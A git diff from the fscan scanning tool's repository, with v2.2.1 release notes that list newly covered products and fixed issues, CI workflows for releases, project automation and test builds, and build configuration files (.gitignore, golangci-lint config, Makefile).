- 泛微、致远、蓝凌、万户、通达、用友、金蝶、金蝶云星空
|
||||
- H3C、海康威视、锐捷、深信服、契约锁、帆软
|
||||
- Nacos、Kubernetes、GitLab、Jenkins、Hadoop、Spark、Solr、Elastic Stack 等
|
||||
|
||||
同时补充第三方来源说明,并为新增 POC 增加加载测试。
|
||||
|
||||
---
|
||||
|
||||
## 已解决 Issue
|
||||
|
||||
- #596 Telnet 未授权误报
|
||||
- #598 高并发下开放端口漏扫
|
||||
- #599 `-nobr` 未阻止 VNC 密码尝试
|
||||
- #600 TLS 服务扫描报错、结果文件为空及临时文件残留
|
||||
- #601 SSH 服务端口无法识别
|
||||
- #603 RDP Fast-Path nil pointer panic
|
||||
|
||||
---
|
||||
|
||||
## 升级说明
|
||||
|
||||
- 从 v2.2.0 可直接升级
|
||||
- 如需限制整个扫描任务的最长运行时间,请显式传入 `-gt <秒数>`
|
||||
- POC 仅用于已获授权的安全测试环境
|
||||
|
||||
## 校验
|
||||
|
||||
本版本已通过:
|
||||
|
||||
- `go test ./...`
|
||||
- GitHub Actions 测试构建
|
||||
- GoReleaser 全平台 snapshot 构建
|
||||
- VNC、SSH、RDP、Telnet 和 Web 服务识别回归测试
|
||||
|
||||
完整变更记录:
|
||||
|
||||
https://github.com/shadow1ng/fscan/compare/v2.2.0...v2.2.1
|
||||
@@ -0,0 +1,81 @@
|
||||
name: Project 自动化
|
||||
|
||||
on:
|
||||
issues:
|
||||
types: [opened, closed, reopened]
|
||||
|
||||
env:
|
||||
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
|
||||
|
||||
jobs:
|
||||
# Issue/PR 创建时添加到 Project,状态设为"要搞"
|
||||
add-to-project:
|
||||
if: github.event.action == 'opened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Add to project
|
||||
uses: actions/[email protected]
|
||||
id: add
|
||||
with:
|
||||
project-url: ${{ env.PROJECT_URL }}
|
||||
github-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Set status to 要搞
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.add.outputs.itemId }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id f75ad846
|
||||
|
||||
# Issue/PR 关闭时状态设为"搞定"
|
||||
close-item:
|
||||
if: github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 搞定
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 98236657
|
||||
|
||||
# Issue/PR 重新打开时状态设为"在搞"
|
||||
reopen-item:
|
||||
if: github.event.action == 'reopened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 在搞
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 47fc9ee4
|
||||
+134
-20
@@ -1,35 +1,149 @@
|
||||
name: goreleaser
|
||||
name: 发布
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
tags:
|
||||
- '*'
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
snapshot:
|
||||
description: '仅测试构建(不发布)'
|
||||
type: boolean
|
||||
default: false
|
||||
draft:
|
||||
description: '创建草稿发布'
|
||||
type: boolean
|
||||
default: false
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
jobs:
|
||||
goreleaser:
|
||||
auto-tag:
|
||||
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 60
|
||||
timeout-minutes: 5
|
||||
outputs:
|
||||
tag: ${{ steps.version.outputs.tag }}
|
||||
|
||||
steps:
|
||||
-
|
||||
name: Checkout
|
||||
uses: actions/checkout@v2
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
-
|
||||
name: Set up Go
|
||||
uses: actions/setup-go@v2
|
||||
|
||||
- name: 读取版本号
|
||||
id: version
|
||||
shell: bash
|
||||
run: |
|
||||
VERSION=$(sed -n 's/^[[:space:]]*version = "\(.*\)"/\1/p' common/globals.go)
|
||||
if [ -z "$VERSION" ]; then
|
||||
echo "❌ 无法从 common/globals.go 读取版本号"
|
||||
exit 1
|
||||
fi
|
||||
TAG="v${VERSION}"
|
||||
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
|
||||
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||
echo "准备发布 ${TAG}"
|
||||
|
||||
- name: 创建发布标签
|
||||
shell: bash
|
||||
run: |
|
||||
TAG="${{ steps.version.outputs.tag }}"
|
||||
|
||||
if git ls-remote --exit-code --tags origin "refs/tags/${TAG}" >/tmp/tag-ref 2>/dev/null; then
|
||||
git fetch --force origin "refs/tags/${TAG}:refs/tags/${TAG}"
|
||||
TAG_COMMIT=$(git rev-list -n 1 "${TAG}")
|
||||
HEAD_COMMIT=$(git rev-parse HEAD)
|
||||
if [ "$TAG_COMMIT" = "$HEAD_COMMIT" ]; then
|
||||
echo "✅ ${TAG} 已指向当前提交,跳过创建"
|
||||
exit 0
|
||||
fi
|
||||
echo "❌ ${TAG} 已存在,但不指向当前提交"
|
||||
echo "tag: ${TAG_COMMIT}"
|
||||
echo "head: ${HEAD_COMMIT}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
|
||||
git tag -a "${TAG}" -m "Release ${TAG}"
|
||||
git push origin "${TAG}"
|
||||
|
||||
release:
|
||||
needs: [auto-tag]
|
||||
if: ${{ always() && (startsWith(github.ref, 'refs/tags/') || github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/main' && needs.auto-tag.result == 'success')) }}
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
go-version: 1.19
|
||||
-
|
||||
name: Run GoReleaser
|
||||
uses: goreleaser/goreleaser-action@v2
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
args: -f .github/conf/.goreleaser.yml
|
||||
workdir: .
|
||||
fetch-depth: 0
|
||||
|
||||
- name: 解析发布标签
|
||||
id: release_tag
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
AUTO_TAG: ${{ needs.auto-tag.outputs.tag }}
|
||||
SNAPSHOT: ${{ inputs.snapshot }}
|
||||
run: |
|
||||
if [[ "${GITHUB_REF}" == refs/tags/* ]]; then
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
elif [ "${GITHUB_EVENT_NAME}" = "push" ] && [ "${GITHUB_REF}" = "refs/heads/main" ]; then
|
||||
TAG="${AUTO_TAG}"
|
||||
git fetch --force origin "refs/tags/${TAG}:refs/tags/${TAG}"
|
||||
elif [ "${GITHUB_EVENT_NAME}" = "workflow_dispatch" ] && [ "${SNAPSHOT}" = "true" ]; then
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
else
|
||||
echo "❌ 非 snapshot 手动发布必须从 tag 触发"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||
echo "RELEASE_TAG=${TAG}" >> "$GITHUB_ENV"
|
||||
|
||||
- name: 准备 Release Notes
|
||||
if: ${{ !inputs.snapshot }}
|
||||
run: |
|
||||
TAG="${RELEASE_TAG}"
|
||||
NOTES_FILE=".github/release-notes/${TAG}.md"
|
||||
|
||||
if [ -f "$NOTES_FILE" ]; then
|
||||
echo "📝 找到版本 Release Notes: $NOTES_FILE"
|
||||
cp "$NOTES_FILE" /tmp/release-notes.md
|
||||
else
|
||||
echo "⚠️ 未找到 $NOTES_FILE,使用自动生成的 changelog"
|
||||
echo "" > /tmp/release-notes.md
|
||||
fi
|
||||
|
||||
echo "RELEASE_NOTES_FILE=/tmp/release-notes.md" >> $GITHUB_ENV
|
||||
|
||||
- name: 构建和发布
|
||||
uses: ./.github/actions/build-release
|
||||
with:
|
||||
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
|
||||
go-version: '1.25'
|
||||
retention-days: '90'
|
||||
release-args: ${{ inputs.draft && '--draft' || '' }}
|
||||
|
||||
- name: 更新 Release Notes
|
||||
if: ${{ !inputs.snapshot && env.RELEASE_NOTES_FILE != '' }}
|
||||
env:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
TAG="${RELEASE_TAG}"
|
||||
NOTES_FILE="${RELEASE_NOTES_FILE}"
|
||||
|
||||
if [ -s "$NOTES_FILE" ]; then
|
||||
echo "📝 更新 Release Notes..."
|
||||
# 用版本特定的 notes 替换 goreleaser 生成的 body
|
||||
gh release edit "$TAG" --notes-file "$NOTES_FILE"
|
||||
echo "✅ Release Notes 已更新"
|
||||
fi
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
name: 测试构建
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- dev
|
||||
- dev-*
|
||||
- develop
|
||||
- feature/*
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
- dev
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: 代码检查
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.25'
|
||||
cache: true
|
||||
|
||||
- name: 运行 golangci-lint
|
||||
run: |
|
||||
# 安装 golangci-lint v2 (需 Go 1.22+,仅用于静态分析,不影响二进制兼容性)
|
||||
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
|
||||
|
||||
# 运行检查
|
||||
golangci-lint run --timeout=5m > lint_output.txt 2>&1 || true
|
||||
cat lint_output.txt
|
||||
|
||||
# 过滤非关键问题(复杂度建议和 staticcheck 风格建议不阻塞 CI)
|
||||
CRITICAL=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt \
|
||||
| grep -vE "gocognit|gocyclo|QF[0-9]+| S[0-9]+|ST[0-9]+" || true)
|
||||
if [ -n "$CRITICAL" ]; then
|
||||
echo "❌ Linting failed with critical issues:"
|
||||
echo "$CRITICAL" | head -20
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ Lint 检查通过"
|
||||
|
||||
- name: 检查代码复杂度(质量门禁)
|
||||
run: |
|
||||
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 检查认知复杂度>80的函数
|
||||
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
|
||||
|
||||
if [ -n "$COMPLEX_FUNCS" ]; then
|
||||
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
|
||||
|
||||
if [ "$HIGH_COMPLEX" -gt 0 ]; then
|
||||
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "✅ 代码复杂度检查通过(所有函数≤80)" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
test:
|
||||
name: 单元测试和构建
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
needs: lint
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.25'
|
||||
cache: true
|
||||
|
||||
- name: 下载依赖
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 运行测试
|
||||
run: |
|
||||
# 排除第三方grdp库测试(存在环境依赖问题)
|
||||
PKGS=$(go list ./... | grep -v '/libs/grdp/')
|
||||
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $PKGS
|
||||
|
||||
- name: 上传覆盖率
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: coverage-report
|
||||
path: coverage.out
|
||||
retention-days: 7
|
||||
|
||||
- name: 显示覆盖率
|
||||
run: |
|
||||
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
- name: 检查覆盖率(质量门禁)
|
||||
run: |
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 提取总体覆盖率(awk 整数比较,不需要 bc)
|
||||
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print int($3)}')
|
||||
|
||||
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 警告阈值:总体<40%
|
||||
if [ "$TOTAL_COVERAGE" -lt 40 ]; then
|
||||
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
# 检查是否有新增的未测试文件(0%覆盖率)
|
||||
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
|
||||
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
|
||||
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
|
||||
else
|
||||
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
build:
|
||||
name: 构建验证
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 5
|
||||
needs: test
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.25'
|
||||
cache: true
|
||||
|
||||
- name: 构建验证
|
||||
run: |
|
||||
# 只验证能否编译通过,不需要多平台构建
|
||||
echo "🔨 验证 Linux/amd64 构建..."
|
||||
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
|
||||
echo "✅ 构建成功"
|
||||
+101
@@ -1 +1,102 @@
|
||||
result.txt
|
||||
result.json
|
||||
/main
|
||||
.idea
|
||||
fscan.exe
|
||||
/fscan
|
||||
fscanapi.csv
|
||||
|
||||
# IDE files / IDE 文件
|
||||
.vscode/
|
||||
.cursor/
|
||||
.cursorrules
|
||||
.claude/
|
||||
|
||||
# Local development files / 本地开发文件
|
||||
*.local
|
||||
*.tmp
|
||||
*.temp
|
||||
.env
|
||||
.env.local
|
||||
.env.development
|
||||
.env.test
|
||||
.env.production
|
||||
|
||||
# OS files / 操作系统文件
|
||||
.DS_Store
|
||||
.DS_Store?
|
||||
._*
|
||||
.Spotlight-V100
|
||||
.Trashes
|
||||
ehthumbs.db
|
||||
Thumbs.db
|
||||
desktop.ini
|
||||
|
||||
# Logs / 日志文件
|
||||
*.log
|
||||
logs/
|
||||
log/
|
||||
|
||||
# Test coverage / 测试覆盖率
|
||||
coverage.txt
|
||||
coverage.html
|
||||
*.cover
|
||||
*.out
|
||||
coverage*.out
|
||||
|
||||
# Test artifacts / 测试产物
|
||||
*_report.txt
|
||||
*_output.txt
|
||||
*_test_*.txt
|
||||
race_report.txt
|
||||
test_output.txt
|
||||
|
||||
# Build artifacts / 构建产物
|
||||
build/
|
||||
bin/
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
/fscan_cli
|
||||
/fscan_web
|
||||
/embed-agent
|
||||
|
||||
# Web UI build / Web前端构建
|
||||
web-ui/node_modules/
|
||||
web-ui/dist/
|
||||
!web/dist/
|
||||
|
||||
# Go specific / Go 相关
|
||||
vendor/
|
||||
*.test
|
||||
*.prof
|
||||
*.mem
|
||||
*.cpu
|
||||
__debug_bin*
|
||||
go.work
|
||||
go.work.sum
|
||||
|
||||
# Performance profiling / 性能分析
|
||||
profiles/
|
||||
|
||||
# Local development tools / 本地开发工具
|
||||
.air.toml
|
||||
air_tmp/
|
||||
|
||||
# Todo files / Todo文件
|
||||
Todo列表.md
|
||||
*todo*.md
|
||||
*TODO*.md
|
||||
|
||||
# Claude documentation / Claude文档
|
||||
.claude_docs/
|
||||
|
||||
# Cleaner plugin artifacts / 清理插件产物
|
||||
cleanup.bat
|
||||
cleanup.sh
|
||||
cleanup_script_*
|
||||
|
||||
# Compilation objects / 编译对象文件
|
||||
*.o
|
||||
*.a
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
# golangci-lint v2 配置
|
||||
version: "2"
|
||||
|
||||
run:
|
||||
timeout: 5m
|
||||
|
||||
linters:
|
||||
default: none
|
||||
enable:
|
||||
- govet
|
||||
- errcheck
|
||||
- staticcheck
|
||||
- unused
|
||||
- ineffassign
|
||||
- gocyclo
|
||||
- gocognit
|
||||
settings:
|
||||
govet:
|
||||
disable:
|
||||
- printf
|
||||
errcheck:
|
||||
check-type-assertions: true
|
||||
exclude-functions:
|
||||
- (net.Conn).Close
|
||||
- (*os.File).Close
|
||||
- os.Remove
|
||||
- (github.com/hirochachacha/go-smb2.Session).Logoff
|
||||
- (github.com/hirochachacha/go-smb2.Share).Umount
|
||||
gocyclo:
|
||||
min-complexity: 35
|
||||
gocognit:
|
||||
min-complexity: 80
|
||||
exclusions:
|
||||
generated: lax
|
||||
rules:
|
||||
- path: _test\.go
|
||||
linters:
|
||||
- gocyclo
|
||||
- gocognit
|
||||
- errcheck
|
||||
- linters:
|
||||
- govet
|
||||
text: "fieldalignment:"
|
||||
paths:
|
||||
- vendor
|
||||
- testdocker
|
||||
- image
|
||||
- libs/grdp
|
||||
|
||||
issues:
|
||||
max-issues-per-linter: 50
|
||||
max-same-issues: 3
|
||||
@@ -0,0 +1,191 @@
|
||||
# fscan Makefile
|
||||
# 提供统一的构建、测试、检查命令
|
||||
|
||||
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
|
||||
|
||||
# 默认目标
|
||||
.DEFAULT_GOAL := help
|
||||
|
||||
# 项目配置
|
||||
BINARY_NAME := fscan
|
||||
GO := go
|
||||
GOLANGCI_LINT := golangci-lint
|
||||
|
||||
# 颜色输出
|
||||
BLUE := \033[0;34m
|
||||
GREEN := \033[0;32m
|
||||
RED := \033[0;31m
|
||||
NC := \033[0m # No Color
|
||||
|
||||
## help: 显示帮助信息
|
||||
help:
|
||||
@echo "$(BLUE)fscan 构建工具$(NC)"
|
||||
@echo ""
|
||||
@echo "$(GREEN)可用命令:$(NC)"
|
||||
@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
|
||||
@echo ""
|
||||
|
||||
## deps: 下载依赖
|
||||
deps:
|
||||
@echo "$(BLUE)下载依赖...$(NC)"
|
||||
$(GO) mod download
|
||||
$(GO) mod verify
|
||||
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
|
||||
|
||||
## test: 运行测试
|
||||
test:
|
||||
@echo "$(BLUE)运行测试...$(NC)"
|
||||
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
|
||||
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf)
|
||||
$(GO) test -vet=off -race -v ./...
|
||||
@echo "$(GREEN)✓ 测试通过$(NC)"
|
||||
|
||||
## test-cover: 运行测试并生成覆盖率报告
|
||||
test-cover:
|
||||
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
|
||||
# 禁用go test内置的vet检查,原因同上
|
||||
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
|
||||
@echo ""
|
||||
@echo "$(BLUE)覆盖率报告:$(NC)"
|
||||
$(GO) tool cover -func=coverage.out | tail -1
|
||||
@echo ""
|
||||
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
|
||||
$(GO) tool cover -html=coverage.out -o coverage.html
|
||||
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
|
||||
|
||||
## build: 构建生产版本(无 pprof,优化体积)
|
||||
build:
|
||||
@echo "$(BLUE)构建生产版本(无 pprof)...$(NC)"
|
||||
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
|
||||
|
||||
## build-web: 构建带Web UI的版本(需要先构建前端)
|
||||
build-web: build-ui
|
||||
@echo "$(BLUE)构建Web版本...$(NC)"
|
||||
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
|
||||
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web 启动Web界面(默认端口 10240)$(NC)"
|
||||
|
||||
## build-ui: 构建前端(需要Node.js和npm)
|
||||
build-ui:
|
||||
@echo "$(BLUE)构建前端...$(NC)"
|
||||
@if [ ! -d "web-ui" ]; then \
|
||||
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
|
||||
echo "请先创建前端项目"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@cd web-ui && npm install && npm run build
|
||||
@rm -rf web/dist
|
||||
@cp -r web-ui/dist web/dist
|
||||
@echo "$(GREEN)✓ 前端构建完成$(NC)"
|
||||
|
||||
## build-debug: 构建调试版本(带 pprof)
|
||||
build-debug:
|
||||
@echo "$(BLUE)构建调试版本(带 pprof)...$(NC)"
|
||||
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
|
||||
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
|
||||
|
||||
## build-race: 构建 race 检测版本
|
||||
build-race:
|
||||
@echo "$(BLUE)构建 race 检测版本...$(NC)"
|
||||
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
|
||||
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
|
||||
|
||||
## build-all: 构建所有平台的二进制文件
|
||||
build-all:
|
||||
@echo "$(BLUE)构建所有平台...$(NC)"
|
||||
@echo "Windows amd64..."
|
||||
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
|
||||
@echo "Linux amd64..."
|
||||
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
|
||||
@echo "Darwin amd64..."
|
||||
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
|
||||
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
|
||||
|
||||
## lint: 运行代码检查
|
||||
lint:
|
||||
@echo "$(BLUE)运行代码检查...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run ./...
|
||||
@echo "$(GREEN)✓ 代码检查通过$(NC)"
|
||||
|
||||
## lint-fix: 运行代码检查并自动修复
|
||||
lint-fix:
|
||||
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run --fix ./...
|
||||
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
|
||||
|
||||
## clean: 清理构建产物
|
||||
clean:
|
||||
@echo "$(BLUE)清理构建产物...$(NC)"
|
||||
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
|
||||
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
|
||||
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
|
||||
rm -f coverage.out coverage.html
|
||||
rm -rf dist/ tests/logs/
|
||||
@echo "$(GREEN)✓ 清理完成$(NC)"
|
||||
|
||||
## stress-test: 压力测试(需要先 build-debug)
|
||||
stress-test:
|
||||
@echo "$(BLUE)压力测试...$(NC)"
|
||||
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
|
||||
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
|
||||
echo "请先运行 'make build-debug'"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@if [ -f tests/stress_test.sh ]; then \
|
||||
bash tests/stress_test.sh; \
|
||||
else \
|
||||
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
|
||||
echo "请先创建压力测试脚本"; \
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
## ci: CI流程(lint + test + build)
|
||||
ci: lint test build
|
||||
@echo "$(GREEN)✓ CI流程完成$(NC)"
|
||||
|
||||
## install-tools: 安装开发工具
|
||||
install-tools:
|
||||
@echo "$(BLUE)安装开发工具...$(NC)"
|
||||
@echo "检查 golangci-lint..."
|
||||
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
|
||||
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
|
||||
$(GOLANGCI_LINT) version; \
|
||||
else \
|
||||
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
|
||||
if command -v go >/dev/null 2>&1; then \
|
||||
echo "使用 go install 安装..."; \
|
||||
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
|
||||
